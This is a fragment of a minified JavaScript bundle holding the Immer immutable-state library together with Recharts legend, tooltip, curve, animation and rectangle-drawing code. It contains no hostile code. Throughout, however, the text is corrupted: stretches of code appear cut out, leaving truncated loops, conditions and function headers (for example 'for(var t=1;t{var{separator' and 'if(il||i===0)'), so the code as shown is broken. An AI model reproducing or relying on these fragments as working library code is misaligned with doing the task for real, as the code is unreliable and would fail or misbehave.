e},zk=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},aM=()=>{var e=ws();return e!==void 0},ul=e=>{var t=ot(),n=Jn(),{width:r,height:i}=e,s=e0(),o=r,l=i;return s&&(o=s.width>0?s.width:r,l=s.height>0?s.height:i),m.useEffect(()=>{!n&&Si(o)&&Si(l)&&t(mT({width:o,height:l}))},[t,n,o,l]),null},Sk=Symbol.for("immer-nothing"),Uy=Symbol.for("immer-draftable"),hn=Symbol.for("immer-state");function Vn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Uo=Object.getPrototypeOf;function us(e){return!!e&&!!e[hn]}function ma(e){var t;return e?Ck(e)||Array.isArray(e)||!!e[Uy]||!!((t=e.constructor)!=null&&t[Uy])||dl(e)||Hd(e):!1}var sM=Object.prototype.constructor.toString(),Vy=new WeakMap;function Ck(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Vy.get(n);return r===void 0&&(r=Function.toString.call(n),Vy.set(n,r)),r===sM}function vu(e,t,n=!0){Vd(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Vd(e){const t=e[hn];return t?t.type_:Array.isArray(e)?1:dl(e)?2:Hd(e)?3:0}function Jp(e,t){return Vd(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function Pk(e,t,n){const r=Vd(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function oM(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function dl(e){return e instanceof Map}function Hd(e){return e instanceof Set}function Wi(e){return e.copy_||e.base_}function eh(e,t){if(dl(e))return new Map(e);if(Hd(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=Ck(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[hn];let i=Reflect.ownKeys(r);for(let s=0;s1&&Object.defineProperties(e,{set:Yl,add:Yl,clear:Yl,delete:Yl}),Object.freeze(e),t&&Object.values(e).forEach(n=>n0(n,!0))),e}function lM(){Vn(2)}var Yl={value:lM};function Kd(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var cM={};function pa(e){const t=cM[e];return t||Vn(0,e),t}var Vo;function Ek(){return Vo}function uM(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Hy(e,t){t&&(pa("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function th(e){nh(e),e.drafts_.forEach(dM),e.drafts_=null}function nh(e){e===Vo&&(Vo=e.parent_)}function Ky(e){return Vo=uM(Vo,e)}function dM(e){const t=e[hn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Gy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[hn].modified_&&(th(t),Vn(4)),ma(e)&&(e=gu(t,e),t.parent_||yu(t,e)),t.patches_&&pa("Patches").generateReplacementPatches_(n[hn].base_,e,t.patches_,t.inversePatches_)):e=gu(t,n,[]),th(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==Sk?e:void 0}function gu(e,t,n){if(Kd(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[hn];if(!i)return vu(t,(s,o)=>Yy(e,i,t,s,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return yu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const s=i.copy_;let o=s,l=!1;i.type_===3&&(o=new Set(s),s.clear(),l=!0),vu(o,(c,u)=>Yy(e,i,s,c,u,n,l),r),yu(e,s,!1),n&&e.patches_&&pa("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Yy(e,t,n,r,i,s,o){if(i==null||typeof i!="object"&&!o)return;const l=Kd(i);if(!(l&&!o)){if(us(i)){const c=s&&t&&t.type_!==3&&!Jp(t.assigned_,r)?s.concat(r):void 0,u=gu(e,i,c);if(Pk(n,r,u),us(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ma(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;gu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(dl(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&yu(e,i)}}}function yu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&n0(t,n)}function fM(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:Ek(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,s=r0;n&&(i=[r],s=Ho);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,l}var r0={get(e,t){if(t===hn)return e;const n=Wi(e);if(!Jp(n,t))return mM(e,n,t);const r=n[t];return e.finalized_||!ma(r)?r:r===fm(e.base_,t)?(mm(e),e.copy_[t]=ih(r,e)):r},has(e,t){return t in Wi(e)},ownKeys(e){return Reflect.ownKeys(Wi(e))},set(e,t,n){const r=_k(Wi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=fm(Wi(e),t),s=i==null?void 0:i[hn];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_[t]=!1,!0;if(oM(n,i)&&(n!==void 0||Jp(e.base_,t)))return!0;mm(e),rh(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_[t]=!0),!0},deleteProperty(e,t){return fm(e.base_,t)!==void 0||t in e.base_?(e.assigned_[t]=!1,mm(e),rh(e)):delete e.assigned_[t],e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Wi(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{writable:!0,configurable:e.type_!==1||t!=="length",enumerable:r.enumerable,value:n[t]}},defineProperty(){Vn(11)},getPrototypeOf(e){return Uo(e.base_)},setPrototypeOf(){Vn(12)}},Ho={};vu(r0,(e,t)=>{Ho[e]=function(){return arguments[0]=arguments[0][0],t.apply(this,arguments)}});Ho.deleteProperty=function(e,t){return Ho.set.call(this,e,t,void 0)};Ho.set=function(e,t,n){return r0.set.call(this,e[0],t,n,e[0])};function fm(e,t){const n=e[hn];return(n?Wi(n):e)[t]}function mM(e,t,n){var i;const r=_k(t,n);return r?"value"in r?r.value:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function _k(e,t){if(!(t in e))return;let n=Uo(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=Uo(n)}}function rh(e){e.modified_||(e.modified_=!0,e.parent_&&rh(e.parent_))}function mm(e){e.copy_||(e.copy_=eh(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var pM=class{constructor(e){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!0,this.produce=(t,n,r)=>{if(typeof t=="function"&&typeof n!="function"){const s=n;n=t;const o=this;return function(c=s,...u){return o.produce(c,d=>n.call(this,d,...u))}}typeof n!="function"&&Vn(6),r!==void 0&&typeof r!="function"&&Vn(7);let i;if(ma(t)){const s=Ky(this),o=ih(t,void 0);let l=!0;try{i=n(o),l=!1}finally{l?th(s):nh(s)}return Hy(s,r),Gy(i,s)}else if(!t||typeof t!="object"){if(i=n(t),i===void 0&&(i=t),i===Sk&&(i=void 0),this.autoFreeze_&&n0(i,!0),r){const s=[],o=[];pa("Patches").generateReplacementPatches_(t,i,s,o),r(s,o)}return i}else Vn(1,t)},this.produceWithPatches=(t,n)=>{if(typeof t=="function")return(o,...l)=>this.produceWithPatches(o,c=>t(c,...l));let r,i;return[this.produce(t,n,(o,l)=>{r=o,i=l}),r,i]},typeof(e==null?void 0:e.autoFreeze)=="boolean"&&this.setAutoFreeze(e.autoFreeze),typeof(e==null?void 0:e.useStrictShallowCopy)=="boolean"&&this.setUseStrictShallowCopy(e.useStrictShallowCopy),typeof(e==null?void 0:e.useStrictIteration)=="boolean"&&this.setUseStrictIteration(e.useStrictIteration)}createDraft(e){ma(e)||Vn(8),us(e)&&(e=hM(e));const t=Ky(this),n=ih(e,void 0);return n[hn].isManual_=!0,nh(t),n}finishDraft(e,t){const n=e&&e[hn];(!n||!n.isManual_)&&Vn(9);const{scope_:r}=n;return Hy(r,t),Gy(void 0,r)}setAutoFreeze(e){this.autoFreeze_=e}setUseStrictShallowCopy(e){this.useStrictShallowCopy_=e}setUseStrictIteration(e){this.useStrictIteration_=e}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(e,t){let n;for(n=t.length-1;n>=0;n--){const i=t[n];if(i.path.length===0&&i.op==="replace"){e=i.value;break}}n>-1&&(t=t.slice(n+1));const r=pa("Patches").applyPatches_;return us(e)?r(e,t):this.produce(e,i=>r(i,t))}};function ih(e,t){const n=dl(e)?pa("MapSet").proxyMap_(e,t):Hd(e)?pa("MapSet").proxySet_(e,t):fM(e,t);return(t?t.scope_:Ek()).drafts_.push(n),n}function hM(e){return us(e)||Vn(10,e),Ak(e)}function Ak(e){if(!ma(e)||Kd(e))return e;const t=e[hn];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=eh(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=eh(e,!0);return vu(n,(i,s)=>{Pk(n,i,Ak(s))},r),t&&(t.finalized_=!1),n}var xM=new pM;xM.produce;var vM={settings:{layout:"horizontal",align:"center",verticalAlign:"middle",itemSorter:"value"},size:{width:0,height:0},payload:[]},Ok=nn({name:"legend",initialState:vM,reducers:{setLegendSize(e,t){e.size.width=t.payload.width,e.size.height=t.payload.height},setLegendSettings(e,t){e.settings.align=t.payload.align,e.settings.layout=t.payload.layout,e.settings.verticalAlign=t.payload.verticalAlign,e.settings.itemSorter=t.payload.itemSorter},addLegendPayload:{reducer(e,t){e.payload.push(t.payload)},prepare:He()},replaceLegendPayload:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Yn(e).payload.indexOf(n);i>-1&&(e.payload[i]=r)},prepare:He()},removeLegendPayload:{reducer(e,t){var n=Yn(e).payload.indexOf(t.payload);n>-1&&e.payload.splice(n,1)},prepare:He()}}}),{setLegendSize:nH,setLegendSettings:rH,addLegendPayload:Tk,replaceLegendPayload:Mk,removeLegendPayload:Lk}=Ok.actions,gM=Ok.reducer;function ah(){return ah=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{separator:t=Na.separator,contentStyle:n,itemStyle:r,labelStyle:i=Na.labelStyle,payload:s,formatter:o,itemSorter:l,wrapperClassName:c,labelClassName:u,label:d,labelFormatter:f,accessibilityLayer:p=Na.accessibilityLayer}=e,h=()=>{if(s&&s.length){var N={padding:0,margin:0},k=(l?Pd(s,l):s).map((z,S)=>{if(z.type==="none")return null;var O=z.formatter||o||jM,{value:A,name:T}=z,P=A,D=T;if(O){var G=O(A,T,z,S,s);if(Array.isArray(G))[P,D]=G;else if(G!=null)P=G;else return null}var R=Fs(Fs({},Na.itemStyle),{},{color:z.color||Na.itemStyle.color},r);return m.createElement("li",{className:"recharts-tooltip-item",key:"tooltip-item-".concat(S),style:R},Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-name"},D):null,Lr(D)?m.createElement("span",{className:"recharts-tooltip-item-separator"},t):null,m.createElement("span",{className:"recharts-tooltip-item-value"},P),m.createElement("span",{className:"recharts-tooltip-item-unit"},z.unit||""))});return m.createElement("ul",{className:"recharts-tooltip-item-list",style:N},k)}return null},x=Fs(Fs({},Na.contentStyle),n),g=Fs({margin:0},i),y=!Mt(d),v=y?d:"",b=Qe("recharts-default-tooltip",c),w=Qe("recharts-tooltip-label",u);y&&f&&s!==void 0&&s!==null&&(v=f(d,s));var j=p?{role:"status","aria-live":"assertive"}:{};return m.createElement("div",ah({className:b,style:x},j),m.createElement("p",{className:w,style:g},m.isValidElement(v)?v:"".concat(v)),h())},Ws="recharts-tooltip-wrapper",kM={visibility:"hidden"};function zM(e){var{coordinate:t,translateX:n,translateY:r}=e;return Qe(Ws,{["".concat(Ws,"-right")]:ge(n)&&t&&ge(t.x)&&n>=t.x,["".concat(Ws,"-left")]:ge(n)&&t&&ge(t.x)&&n=t.y,["".concat(Ws,"-top")]:ge(r)&&t&&ge(t.y)&&r0?i:0),f=n[r]+i;if(t[r])return o[r]?d:f;var p=c[r];if(p==null)return 0;if(o[r]){var h=d,x=p;return hy?Math.max(d,p):Math.max(f,p)}function SM(e){var{translateX:t,translateY:n,useTranslate3d:r}=e;return{transform:r?"translate3d(".concat(t,"px, ").concat(n,"px, 0)"):"translate(".concat(t,"px, ").concat(n,"px)")}}function CM(e){var{allowEscapeViewBox:t,coordinate:n,offsetTop:r,offsetLeft:i,position:s,reverseDirection:o,tooltipBox:l,useTranslate3d:c,viewBox:u}=e,d,f,p;return l.height>0&&l.width>0&&n?(f=Xy({allowEscapeViewBox:t,coordinate:n,key:"x",offset:i,position:s,reverseDirection:o,tooltipDimension:l.width,viewBox:u,viewBoxDimension:u.width}),p=Xy({allowEscapeViewBox:t,coordinate:n,key:"y",offset:r,position:s,reverseDirection:o,tooltipDimension:l.height,viewBox:u,viewBoxDimension:u.height}),d=SM({translateX:f,translateY:p,useTranslate3d:c})):d=kM,{cssProperties:d,cssClasses:zM({translateX:f,translateY:p,coordinate:n})}}function Zy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ql(e){for(var t=1;t{if(t.key==="Escape"){var n,r,i,s;this.setState({dismissed:!0,dismissedAtCoordinate:{x:(n=(r=this.props.coordinate)===null||r===void 0?void 0:r.x)!==null&&n!==void 0?n:0,y:(i=(s=this.props.coordinate)===null||s===void 0?void 0:s.y)!==null&&i!==void 0?i:0}})}})}componentDidMount(){document.addEventListener("keydown",this.handleKeyDown)}componentWillUnmount(){document.removeEventListener("keydown",this.handleKeyDown)}componentDidUpdate(){var t,n;this.state.dismissed&&(((t=this.props.coordinate)===null||t===void 0?void 0:t.x)!==this.state.dismissedAtCoordinate.x||((n=this.props.coordinate)===null||n===void 0?void 0:n.y)!==this.state.dismissedAtCoordinate.y)&&(this.state.dismissed=!1)}render(){var{active:t,allowEscapeViewBox:n,animationDuration:r,animationEasing:i,children:s,coordinate:o,hasPayload:l,isAnimationActive:c,offset:u,position:d,reverseDirection:f,useTranslate3d:p,viewBox:h,wrapperStyle:x,lastBoundingBox:g,innerRef:y,hasPortalFromProps:v}=this.props,b=typeof u=="number"?u:u.x,w=typeof u=="number"?u:u.y,{cssClasses:j,cssProperties:N}=CM({allowEscapeViewBox:n,coordinate:o,offsetLeft:b,offsetTop:w,position:d,reverseDirection:f,tooltipBox:{height:g.height,width:g.width},useTranslate3d:p,viewBox:h}),k=v?{}:ql(ql({transition:c&&t?"transform ".concat(r,"ms ").concat(i):void 0},N),{},{pointerEvents:"none",visibility:!this.state.dismissed&&t&&l?"visible":"hidden",position:"absolute",top:0,left:0}),z=ql(ql({},k),{},{visibility:!this.state.dismissed&&t&&l?"visible":"hidden"},x);return m.createElement("div",{xmlns:"http://www.w3.org/1999/xhtml",tabIndex:-1,className:j,style:z,ref:y},s)}}var Ik=()=>{var e;return(e=je(t=>t.rootProps.accessibilityLayer))!==null&&e!==void 0?e:!0};function oh(){return oh=Object.assign?Object.assign.bind():function(e){for(var t=1;tEe(e.x)&&Ee(e.y),t1=e=>e.base!=null&&bu(e.base)&&bu(e),Us=e=>e.x,Vs=e=>e.y,MM=(e,t)=>{if(typeof e=="function")return e;var n="curve".concat(sl(e));if((n==="curveMonotone"||n==="curveBump")&&t){var r=e1["".concat(n).concat(t==="vertical"?"Y":"X")];if(r)return r}return e1[n]||bd},n1={connectNulls:!1,type:"linear"},LM=e=>{var{type:t=n1.type,points:n=[],baseLine:r,layout:i,connectNulls:s=n1.connectNulls}=e,o=MM(t,i),l=s?n.filter(bu):n;if(Array.isArray(r)){var c,u=n.map((x,g)=>Jy(Jy({},x),{},{base:r[g]}));i==="vertical"?c=Fl().y(Vs).x1(Us).x0(x=>x.base.x):c=Fl().x(Us).y1(Vs).y0(x=>x.base.y);var d=c.defined(t1).curve(o),f=s?u.filter(t1):u;return d(f)}var p;i==="vertical"&&ge(r)?p=Fl().y(Vs).x1(Us).x0(r):ge(r)?p=Fl().x(Us).y1(Vs).y0(r):p=Gj().x(Us).y(Vs);var h=p.defined(bu).curve(o);return h(l)},Qa=e=>{var{className:t,points:n,path:r,pathRef:i}=e,s=ws();if((!n||!n.length)&&!r)return null;var o={type:e.type,points:e.points,baseLine:e.baseLine,layout:e.layout||s,connectNulls:e.connectNulls},l=n&&n.length?LM(o):r;return m.createElement("path",oh({},Mr(e),Ix(e),{className:Qe("recharts-curve",t),d:l===null?void 0:l,ref:i}))},IM=["x","y","top","left","width","height","className"];function lh(){return lh=Object.assign?Object.assign.bind():function(e){for(var t=1;t"M".concat(e,",").concat(i,"v").concat(r,"M").concat(s,",").concat(t,"h").concat(n),VM=e=>{var{x:t=0,y:n=0,top:r=0,left:i=0,width:s=0,height:o=0,className:l}=e,c=FM(e,IM),u=DM({x:t,y:n,top:r,left:i,width:s,height:o},c);return!ge(t)||!ge(n)||!ge(s)||!ge(o)||!ge(r)||!ge(i)?null:m.createElement("path",lh({},Ut(u),{className:Qe("recharts-cross",l),d:UM(t,n,s,o,r,i)}))};function HM(e,t,n,r){var i=r/2;return{stroke:"none",fill:"#ccc",x:e==="horizontal"?t.x-i:n.left+.5,y:e==="horizontal"?n.top+.5:t.y-i,width:e==="horizontal"?r:n.width-1,height:e==="horizontal"?n.height-1:r}}function i1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function a1(e){for(var t=1;te.replace(/([A-Z])/g,t=>"-".concat(t.toLowerCase())),Dk=(e,t,n)=>e.map(r=>"".concat(qM(r)," ").concat(t,"ms ").concat(n)).join(","),XM=(e,t)=>[Object.keys(e),Object.keys(t)].reduce((n,r)=>n.filter(i=>r.includes(i))),Ko=(e,t)=>Object.keys(t).reduce((n,r)=>a1(a1({},n),{},{[r]:e(r,t[r])}),{});function s1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xt(e){for(var t=1;te+(t-e)*n,ch=e=>{var{from:t,to:n}=e;return t!==n},Rk=(e,t,n)=>{var r=Ko((i,s)=>{if(ch(s)){var[o,l]=e(s.from,s.to,s.velocity);return xt(xt({},s),{},{from:o,velocity:l})}return s},t);return n<1?Ko((i,s)=>ch(s)&&r[i]!=null?xt(xt({},s),{},{velocity:wu(s.velocity,r[i].velocity,n),from:wu(s.from,r[i].from,n)}):s,t):Rk(e,r,n-1)};function e8(e,t,n,r,i,s){var o,l=r.reduce((p,h)=>xt(xt({},p),{},{[h]:{from:e[h],velocity:0,to:t[h]}}),{}),c=()=>Ko((p,h)=>h.from,l),u=()=>!Object.values(l).filter(ch).length,d=null,f=p=>{o||(o=p);var h=p-o,x=h/n.dt;l=Rk(n,l,x),i(xt(xt(xt({},e),t),c())),o=p,u()||(d=s.setTimeout(f))};return()=>(d=s.setTimeout(f),()=>{var p;(p=d)===null||p===void 0||p()})}function t8(e,t,n,r,i,s,o){var l=null,c=i.reduce((f,p)=>{var h=e[p],x=t[p];return h==null||x==null?f:xt(xt({},f),{},{[p]:[h,x]})},{}),u,d=f=>{u||(u=f);var p=(f-u)/r,h=Ko((g,y)=>wu(...y,n(p)),c);if(s(xt(xt(xt({},e),t),h)),p<1)l=o.setTimeout(d);else{var x=Ko((g,y)=>wu(...y,n(1)),c);s(xt(xt(xt({},e),t),x))}};return()=>(l=o.setTimeout(d),()=>{var f;(f=l)===null||f===void 0||f()})}const n8=(e,t,n,r,i,s)=>{var o=XM(e,t);return n==null?()=>(i(xt(xt({},e),t)),()=>{}):n.isStepper===!0?e8(e,t,n,o,i,s):t8(e,t,n,r,o,i,s)};var ju=1e-4,$k=(e,t)=>[0,3*e,3*t-6*e,3*e-3*t+1],Bk=(e,t)=>e.map((n,r)=>n*t**r).reduce((n,r)=>n+r),o1=(e,t)=>n=>{var r=$k(e,t);return Bk(r,n)},r8=(e,t)=>n=>{var r=$k(e,t),i=[...r.map((s,o)=>s*o).slice(1),0];return Bk(i,n)},i8=e=>{var t,n=e.split("(");if(n.length!==2||n[0]!=="cubic-bezier")return null;var r=(t=n[1])===null||t===void 0||(t=t.split(")")[0])===null||t===void 0?void 0:t.split(",");if(r==null||r.length!==4)return null;var i=r.map(s=>parseFloat(s));return[i[0],i[1],i[2],i[3]]},a8=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var i=o1(e,n),s=o1(t,r),o=r8(e,n),l=u=>u>1?1:u<0?0:u,c=u=>{for(var d=u>1?1:u,f=d,p=0;p<8;++p){var h=i(f)-d,x=o(f);if(Math.abs(h-d)0&&arguments[0]!==void 0?arguments[0]:{},{stiff:n=100,damping:r=8,dt:i=17}=t,s=(o,l,c)=>{var u=-(o-l)*n,d=c*r,f=c+(u-d)*i/1e3,p=c*i/1e3+o;return Math.abs(p-l){if(typeof e=="string")switch(e){case"ease":case"ease-in-out":case"ease-out":case"ease-in":case"linear":return l1(e);case"spring":return o8();default:if(e.split("(")[0]==="cubic-bezier")return l1(e)}return typeof e=="function"?e:null};function c8(e){var t,n=()=>null,r=!1,i=null,s=o=>{if(!r){if(Array.isArray(o)){if(!o.length)return;var l=o,[c,...u]=l;if(typeof c=="number"){i=e.setTimeout(s.bind(null,u),c);return}s(c),i=e.setTimeout(s.bind(null,u));return}typeof o=="string"&&(t=o,n(t)),typeof o=="object"&&(t=o,n(t)),typeof o=="function"&&o()}};return{stop:()=>{r=!0},start:o=>{r=!1,i&&(i(),i=null),s(o)},subscribe:o=>(n=o,()=>{n=()=>null}),getTimeoutController:()=>e}}class u8{setTimeout(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:0,r=performance.now(),i=null,s=o=>{o-r>=n?t(o):typeof requestAnimationFrame=="function"&&(i=requestAnimationFrame(s))};return i=requestAnimationFrame(s),()=>{i!=null&&cancelAnimationFrame(i)}}}function d8(){return c8(new u8)}var f8=m.createContext(d8);function m8(e,t){var n=m.useContext(f8);return m.useMemo(()=>t??n(e),[e,t,n])}var p8=()=>!(typeof window<"u"&&window.document&&window.document.createElement&&window.setTimeout),Gd={isSsr:p8()},h8={begin:0,duration:1e3,easing:"ease",isActive:!0,canBegin:!0,onAnimationEnd:()=>{},onAnimationStart:()=>{}},c1={t:0},pm={t:1};function Yd(e){var t=gn(e,h8),{isActive:n,canBegin:r,duration:i,easing:s,begin:o,onAnimationEnd:l,onAnimationStart:c,children:u}=t,d=n==="auto"?!Gd.isSsr:n,f=m8(t.animationId,t.animationManager),[p,h]=m.useState(d?c1:pm),x=m.useRef(null);return m.useEffect(()=>{d||h(pm)},[d]),m.useEffect(()=>{if(!d||!r)return bs;var g=n8(c1,pm,l8(s),i,h,f.getTimeoutController()),y=()=>{x.current=g()};return f.start([c,o,y,i,l]),()=>{f.stop(),x.current&&x.current(),l()}},[d,r,i,s,o,c,l,f]),u(p.t)}function qd(e){var t=arguments.length>1&&arguments[1]!==void 0?arguments[1]:"animation-",n=m.useRef($o(t)),r=m.useRef(e);return r.current!==e&&(n.current=$o(t),r.current=e),n.current}var x8=["radius"],v8=["radius"],u1,d1,f1,m1,p1,h1,x1,v1,g1,y1;function b1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function w1(e){for(var t=1;t{var s=ui(n),o=ui(r),l=Math.min(Math.abs(s)/2,Math.abs(o)/2),c=o>=0?1:-1,u=s>=0?1:-1,d=o>=0&&s>=0||o<0&&s<0?1:0,f;if(l>0&&Array.isArray(i)){for(var p=[0,0,0,0],h=0,x=4;hl?l:y}f=tt(u1||(u1=tr(["M",",",""])),e,t+c*p[0]),p[0]>0&&(f+=tt(d1||(d1=tr(["A ",",",",0,0,",",",",",""])),p[0],p[0],d,e+u*p[0],t)),f+=tt(f1||(f1=tr(["L ",",",""])),e+n-u*p[1],t),p[1]>0&&(f+=tt(m1||(m1=tr(["A ",",",",0,0,",`, + `,",",""])),p[1],p[1],d,e+n,t+c*p[1])),f+=tt(p1||(p1=tr(["L ",",",""])),e+n,t+r-c*p[2]),p[2]>0&&(f+=tt(h1||(h1=tr(["A ",",",",0,0,",`, + `,",",""])),p[2],p[2],d,e+n-u*p[2],t+r)),f+=tt(x1||(x1=tr(["L ",",",""])),e+u*p[3],t+r),p[3]>0&&(f+=tt(v1||(v1=tr(["A ",",",",0,0,",`, + `,",",""])),p[3],p[3],d,e,t+r-c*p[3])),f+="Z"}else if(l>0&&i===+i&&i>0){var v=Math.min(l,i);f=tt(g1||(g1=tr(["M ",",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",",",` + L `,",",` + A `,",",",0,0,",",",","," Z"])),e,t+c*v,v,v,d,e+u*v,t,e+n-u*v,t,v,v,d,e+n,t+c*v,e+n,t+r-c*v,v,v,d,e+n-u*v,t+r,e+u*v,t+r,v,v,d,e,t+r-c*v)}else f=tt(y1||(y1=tr(["M ",","," h "," v "," h "," Z"])),e,t,n,r,-n);return f},k1={x:0,y:0,width:0,height:0,radius:0,isAnimationActive:!1,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Fk=e=>{var t=gn(e,k1),n=m.useRef(null),[r,i]=m.useState(-1);m.useEffect(()=>{if(n.current&&n.current.getTotalLength)try{var _=n.current.getTotalLength();_&&i(_)}catch{}},[]);var{x:s,y:o,width:l,height:c,radius:u,className:d}=t,{animationEasing:f,animationDuration:p,animationBegin:h,isAnimationActive:x,isUpdateAnimationActive:g}=t,y=m.useRef(l),v=m.useRef(c),b=m.useRef(s),w=m.useRef(o),j=m.useMemo(()=>({x:s,y:o,width:l,height:c,radius:u}),[s,o,l,c,u]),N=qd(j,"rectangle-");if(s!==+s||o!==+o||l!==+l||c!==+c||l===0||c===0)return null;var k=Qe("recharts-rectangle",d);if(!g){var z=Ut(t),{radius:S}=z,O=j1(z,x8);return m.createElement("path",Nu({},O,{x:ui(s),y:ui(o),width:ui(l),height:ui(c),radius:typeof u=="number"?u:void 0,className:k,d:N1(s,o,l,c,u)}))}var A=y.current,T=v.current,P=b.current,D=w.current,G="0px ".concat(r===-1?1:r,"px"),R="".concat(r,"px 0px"),K=Dk(["strokeDasharray"],p,typeof f=="string"?f:k1.animationEasing);return m.createElement(Yd,{animationId:N,key:N,canBegin:r>0,duration:p,easing:f,isActive:g,begin:h},_=>{var M=At(A,l,_),F=At(T,c,_),U=At(P,s,_),V=At(D,o,_);n.current&&(y.current=M,v.current=F,b.current=U,w.current=V);var Z;x?_>0?Z={transition:K,strokeDasharray:R}:Z={strokeDasharray:G}:Z={strokeDasharray:R};var ae=Ut(t),{radius:ue}=ae,be=j1(ae,v8);return m.createElement("path",Nu({},be,{radius:typeof u=="number"?u:void 0,className:k,d:N1(U,V,M,F,u),ref:n,style:w1(w1({},Z),t.style)}))})};function z1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function S1(e){for(var t=1;te*180/Math.PI,ft=(e,t,n,r)=>({x:e+Math.cos(-ku*r)*n,y:t+Math.sin(-ku*r)*n}),Wk=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},S8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},C8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=S8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:z8(c),angleInRadian:c}},P8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},E8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},_8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=C8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=P8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return 